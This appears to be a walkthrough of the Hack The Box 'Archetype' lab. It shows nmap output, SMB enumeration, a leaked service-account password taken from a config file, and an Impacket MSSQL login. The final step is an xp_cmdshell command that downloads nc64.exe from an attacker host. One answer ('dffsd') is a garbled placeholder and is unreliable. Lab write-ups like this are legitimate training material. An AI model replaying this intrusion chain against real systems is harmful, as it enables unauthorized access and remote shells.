

Archetype

Task 1

Which TCP port is hosting a database server?

- 1433

```
(root@kali)-[/home/_/Documents/HTB/Starting_Project/Archetype]
# cat archetype-nmap.txt
# Nmap 7.94SVN scan initiated Thu Aug  1 23:01:04 2024 as: nmap -sC -sV -p- --min-rate 10000 -oN archetype-nmap.txt 10.129.95.187
Nmap scan report for 10.129.95.187
Host is up (0.28s latency).
Not shown: 65523 closed tcp ports (reset)
PORT      STATE SERVICE        VERSION
135/tcp   open  msrpc          Microsoft Windows RPC
139/tcp   open  netbios-ssn    Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds    Windows Server 2019 Standard 17763 microsoft-ds
1433/tcp   open  ms-sql-s       Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-info:
|_ 10.129.95.187:1433:
|   Version:
|   | name: Microsoft SQL Server 2017 RTM
|   | number: 14.00.1000.00
|   | Product: Microsoft SQL Server 2017
|   | Service pack level: RTM
|   | Post-SP patches applied: false
|   | TCP port: 1433
|_ ssl-date: 2024-08-02T06:02:33+00:00; 0s from scanner time.
| ms-sql-ntlm-info:
|_ 10.129.95.187:1433:
|   Target_Name: ARCHETYPE
|   NetBIOS_Domain_Name: ARCHETYPE
|   NetBIOS_Computer_Name: ARCHETYPE
|   DNS_Domain_Name: Archetype
|   DNS_Computer_Name: Archetype
|   Product_Version: 10.0.17763
|_ ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-08-02T05:55:31
|_ Not valid after: 2054-08-02T05:55:31
5985/tcp   open  http           Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ http-server-header: Microsoft-HTTPAPI/2.0
|_ http-title: Not Found
47001/tcp  open  http           Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ http-title: Not Found
|_ http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp  open  msrpc          Microsoft Windows RPC
49665/tcp  open  msrpc          Microsoft Windows RPC
49666/tcp  open  msrpc          Microsoft Windows RPC
49667/tcp  open  msrpc          Microsoft Windows RPC
49668/tcp  open  msrpc          Microsoft Windows RPC
49669/tcp  open  msrpc          Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|_ date: 2024-08-02T06:02:18
|_ start_date: N/A
|_ smb-os-discovery:
|_ OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
|_ Computer name: Archetype
|_ NetBIOS computer name: ARCHETYPE\x00
|_ Workgroup: WORKGROUP\x00
|_ System time: 2024-08-01T23:02:22-07:00
|_ clock-skew: mean: 1h24m00s, deviation: 3h07m52s, median: 0s
|_ smb-security-mode:
|_ account_used: guest
|_ authentication_level: user
|_ challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_ smb2-security-mode:
|_ 3:1:1:
|_ Message signing enabled but not required
```

Task 2

What is the name of the non-Administrative share available over SMB?

- backups

- smbclient -L 10.129.95.187 `#smb-client`

```
(root@kali)-[/home/.../Documents/HTB/Starting_Project/Archetype]
# smbclient -L 10.129.95.187
Password for [WORKGROUP\root]:

Sharename      Type            Comment
-----
ADMIN$         Disk            Remote Admin
backups        Disk
C$             Disk            Default share
IPC$           IPC             Remote IPC

Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.95.187 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

Task 3

What is the password identified in the file on the SMB share?

- M3g4c0rp123
- Connect to smbclient and download config file
 - smbclient -N \\10.129.95.187\backups
- N - Used to indicate that no password is required, This option can be useful when accessing a share that does not require a password.

```
(root@kali)-[/home/.../Documents/HTB/Starting_Project/Archetype]
# smbclient -N \\10.129.95.187\backups
Try "help" to get a list of possible commands.
smb: \> ls

.                D            0 Mon Jan 20 04:20:57 2020
..               D            0 Mon Jan 20 04:20:57 2020
prod.dtsConfig    AR          609 Mon Jan 20 04:23:02 2020

5056511 blocks of size 4096. 2617783 blocks available
smb: \> get prod.dtsConfig
```

```
(kali@kali)-[/Documents/HTB/Starting_Project]
$ ls
Archetype Bike Funnel Ignition Pennyworth Tactics
$ cd Archetype
(kali@kali)-[/Documents/HTB/Starting_Project/Archetype]
$ ls
archetype-nmap.txt prod.dtsConfig
$ cat prod.dtsConfig
<DTSTConfiguration>
  <DTSTConfigurationHeading>
    <DTSTConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
  </DTSTConfigurationHeading>
  <Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
    <ConfiguredValue>Data Source=... Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Au
to Translate=False;</ConfiguredValue>
  </Configuration>
</DTSTConfiguration>
```

- User : Archetype/sql_svc || Password: M3g4c0rp123

Task 4

What script from Impacket collection can be used in order to establish an authenticated connection to a Microsoft SQL Server?

- mssqlclient.py
- The tool used to access MSSQL from command line Linux is called mssqlclient.py

Task 5

What extended stored procedure of Microsoft SQL Server can be used in order to spawn a Windows command shell?

- dffsd
- We discovered that there was an open port that was hosting a Microsoft SQL server , We also have credentials so we can try to log in to that server and continue looking for more information.
- Installation guide

```
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
pip3 install .
# OR:
sudo python3 setup.py install
# In case you are missing some modules:
pip3 install -r requirements.txt
```

- Connect to mssqlclient server
 - `python3 mssqlclient.py ARCHETYPE/sql_svc:M3g4c0rp123@10.129.95.187 -windows-auth`
- As a first step we need to check what is the role we have in the server. We will use the command
 - `SELECT is_srvrolemember('sysadmin');`

```
(root@kali)~/Starting_Project/Archetype/impacket/examples
# python3 mssqlclient.py ARCHETYPE/sql_svc:M3g4c0rp123@10.129.95.187 -windows-auth
Impacket v0.12.0.dev1+20240801.104651.6d8dd858 - Copyright 2023 Fortra

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(ARCHETYPE): Line 1: Changed database context to 'master'.
[*] INFO(ARCHETYPE): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands
SQL (ARCHETYPE\sql_svc dbo@master)> help

lcd {path}                - changes the current local directory to {path}
exit                      - terminates the server process (and this session)
enable_xp_cmdshell        - you know what it means
disable_xp_cmdshell       - you know what it means
enum_db                  - enum databases
enum_links               - enum linked servers
enum_impersonate         - check logins that can be impersonated
enum_logins              - enum login users
enum_users               - enum current db users
enum_owner               - enum db owner
exec_as_user {user}       - impersonate with execute as user
exec_as_login {login}     - impersonate with execute as login
xp_cmdshell {cmd}         - executes cmd using xp_cmdshell
xp_dirtree {path}         - executes xp_dirtree on the path
sp_start_job {cmd}        - executes cmd using the sql server agent (blind)
use_link {link}           - linked server to use (set use_link localhost to go back to local or use_link .. to get back one step)
! {cmd}                  - executes a local shell cmd
show_query               - show query
mask_query               - mask query

SQL (ARCHETYPE\sql_svc dbo@master)> SELECT is_srvrolemember('sysadmin');
-
1
```

Task 6

What script can be used in order to search possible paths to escalate privileges on Windows hosts?

- `winpeas`

Task 7

What file contains the administrator's password?

- `ConsoleHost_history.txt`

```
xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget  
http://10.10.14.26/nc64.exe -outfile nc64.exe"
```